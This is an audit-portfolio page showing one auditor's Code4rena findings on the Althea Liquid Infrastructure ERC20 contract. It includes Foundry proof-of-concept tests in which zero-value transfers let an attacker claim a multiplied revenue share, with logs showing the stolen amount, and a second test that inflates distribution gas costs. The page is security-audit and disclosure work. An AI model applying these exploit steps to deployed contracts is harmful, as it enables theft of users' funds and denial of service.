Althea Liquid Infrastructure - kinda_very_good's results

Liquid Infrastructure.

General Information

Platform: Code4rena

Start Date: 13/02/2024

Pot Size: $24,500 USDC

Total HM: 5

Participants: 84

Period: 6 days

Judge: 0xA5DF

Id: 331

League: ETH

Althea

Findings Distribution

Researcher Performance

Rank: 66/84

Findings: 1

Award: $7.18

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L142-L145 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L214-L227

Vulnerability details

Impact

USERS FUNDS COULD BE STOLEN

Proof of Concept

SETUP contract LiquidInfrastructureTest is Test { address protocolOwner = makeAddr("protocolOwner"); address nftOwner = makeAddr("nft owner"); address tokenHolder = makeAddr("token holder"); address alice = makeAddr("alice"); address bob = makeAddr("bob"); address charlie = makeAddr("charlie"); address synthia = makeAddr("synthia"); address maia = makeAddr("maia"); address tester = makeAddr("tester"); address chucky = makeAddr("chucks"); address mikel = makeAddr("mikey"); address sombra = makeAddr("somebrah"); LiquidInfrastructureERC20 liquidInfrastructureERC20; LiquidInfrastructureNFT liquidInfrastructureNFT; LiquidInfrastructureNFT liquidInfrastructureNFT2; TestERC20A testERC20A; TestERC20B testERC20B; TestERC20C testERC20C; TestERC721A testERC721A; address[] managedNFTS; address[] ercArgs; address[] holders; address[] ercs; mapping(uint => address) id_args; uint256[] vals; function setUp() public { testERC20A = new TestERC20A(); testERC20B = new TestERC20B(); testERC20C = new TestERC20C(); testERC721A = new TestERC721A(); id_args[0] = address(testERC20A); id_args[1] = address(testERC20B); id_args[2] = address(testERC20C); vm.prank(nftOwner); liquidInfrastructureNFT = new LiquidInfrastructureNFT("nft owner"); liquidInfrastructureNFT2 = new LiquidInfrastructureNFT("nft owner"); // console.log("reached"); managedNFTS.push(address(liquidInfrastructureNFT)); managedNFTS.push(address(liquidInfrastructureNFT2)); holders.push(alice); holders.push(bob); holders.push(charlie); holders.push(synthia); holders.push(maia); ercs.push(address(testERC20A)); ercs.push(address(testERC20B)); ercs.push(address(testERC20C)); // console.log("again"); vm.prank(protocolOwner); liquidInfrastructureERC20 = new LiquidInfrastructureERC20( "hel", "lo", managedNFTS, holders, 10, ercs ); for (uint256 i = 0; i < holders.length; i++) { vm.prank(protocolOwner); liquidInfrastructureERC20.mint(holders[i], 10e18); // console.log((liquidInfrastructureERC20.getHolders()).length); } // console.log("passed"); testERC20A.transfer( address(liquidInfrastructureERC20), 1000 * 10 ** testERC20A.decimals() ); testERC20B.transfer( address(liquidInfrastructureERC20), 1000 * 10 ** testERC20B.decimals() ); testERC20C.transfer( address(liquidInfrastructureERC20), 1000 * 10 ** testERC20C.decimals() ); } } function approveHolder() internal { vm.startPrank(protocolOwner); try liquidInfrastructureERC20.approveHolder(tester) {} catch { console.log("holder already approved"); } vm.stopPrank(); } function transfer(address from, address to, uint amount) internal { vm.startPrank(from); liquidInfrastructureERC20.transfer(to, amount); vm.stopPrank(); } function distribute(uint num) internal { liquidInfrastructureERC20.distribute(num); } function test_can_steal_funds() public { approveHolder(); transfer(bob, tester, 0); transfer(bob, tester, 0); transfer(bob, tester, 0); transfer(bob, tester, 10e18); vm.startPrank(protocolOwner); liquidInfrastructureERC20.approveHolder(chucky); liquidInfrastructureERC20.approveHolder(sombra); liquidInfrastructureERC20.approveHolder(mikel); liquidInfrastructureERC20.mint(chucky, 10e18); liquidInfrastructureERC20.mint(sombra, 10e18); liquidInfrastructureERC20.mint(mikel, 10e18); liquidInfrastructureERC20.mint(bob, 10e18); vm.stopPrank(); vm.roll((vm.getBlockNumber() + 20)); vm.prank(tester); distribute(9); console.log("alice", testERC20A.balanceOf(alice)); console.log("bob", testERC20A.balanceOf(bob)); console.log("malicious actor", testERC20A.balanceOf(tester)); } The malicious actor(tester) added themselves to the holders list 4 times prior to when the total supply was increased by minting tokens to other users, hence the malicious actors can call distribute for only as many distributions that benefit them and steal others funds Here are the results when the function is run [PASS] test_can_steal_funds() (gas: 1005530) Logs: alice 110000000000000000000 bob 0 malicious actor 440000000000000000000 Despite both alice and the malicious actor having the same amount of tokens(ie 10e18). the malicious actor got four times the reward

Tools Used

foundry manual analysis

The issue could be avoided by disallowing dust transfer amounts

Assessed type

Invalid Validation

#0 - c4-pre-sort

2024-02-20T06:26:53Z

0xRobocop marked the issue as duplicate of #392

#1 - c4-judge

2024-03-04T17:35:09Z

0xA5DF marked the issue as duplicate of #77

#2 - c4-judge

2024-03-04T17:35:31Z

0xA5DF marked the issue as satisfactory

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L142-L145 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L214-L227

Vulnerability details

Impact

It could become really expensive to distribute revenue

Proof of Concept

function distributeAll() public { uint start = gasleft(); liquidInfrastructureERC20.distributeToAllHolders(); console.log(start - gasleft()); }

function test_increase_in_gas_with_gas_dos(uint stop) public { approveHolder(); for (uint i = 0; i < stop; i++) { transfer(bob, tester, 0); } vm.roll((vm.getBlockNumber() + 20)); distributeAll(); } } when test_increase_in_gas_with_gas_dos is called without the loop running the recorded gas used was 422855 when stop was set to 5 it was 532748 and 647151 when stop was icreased to 10, this represents an increase of about 20,000 per zero transfer

Tools Used

foundry manual review

dust transfers should be disallowed

Assessed type

Loop

#0 - 0xRobocop

2024-02-20T06:26:35Z

Aggregating all pretty low quality warden's submissions.

#1 - c4-pre-sort

2024-02-20T06:26:38Z

0xRobocop marked the issue as insufficient quality report

#2 - c4-pre-sort

2024-02-20T06:26:41Z

0xRobocop marked the issue as primary issue

#3 - c4-judge

2024-03-04T17:35:10Z

0xA5DF marked the issue as duplicate of #77

#4 - c4-judge

2024-03-04T17:35:33Z

0xA5DF marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter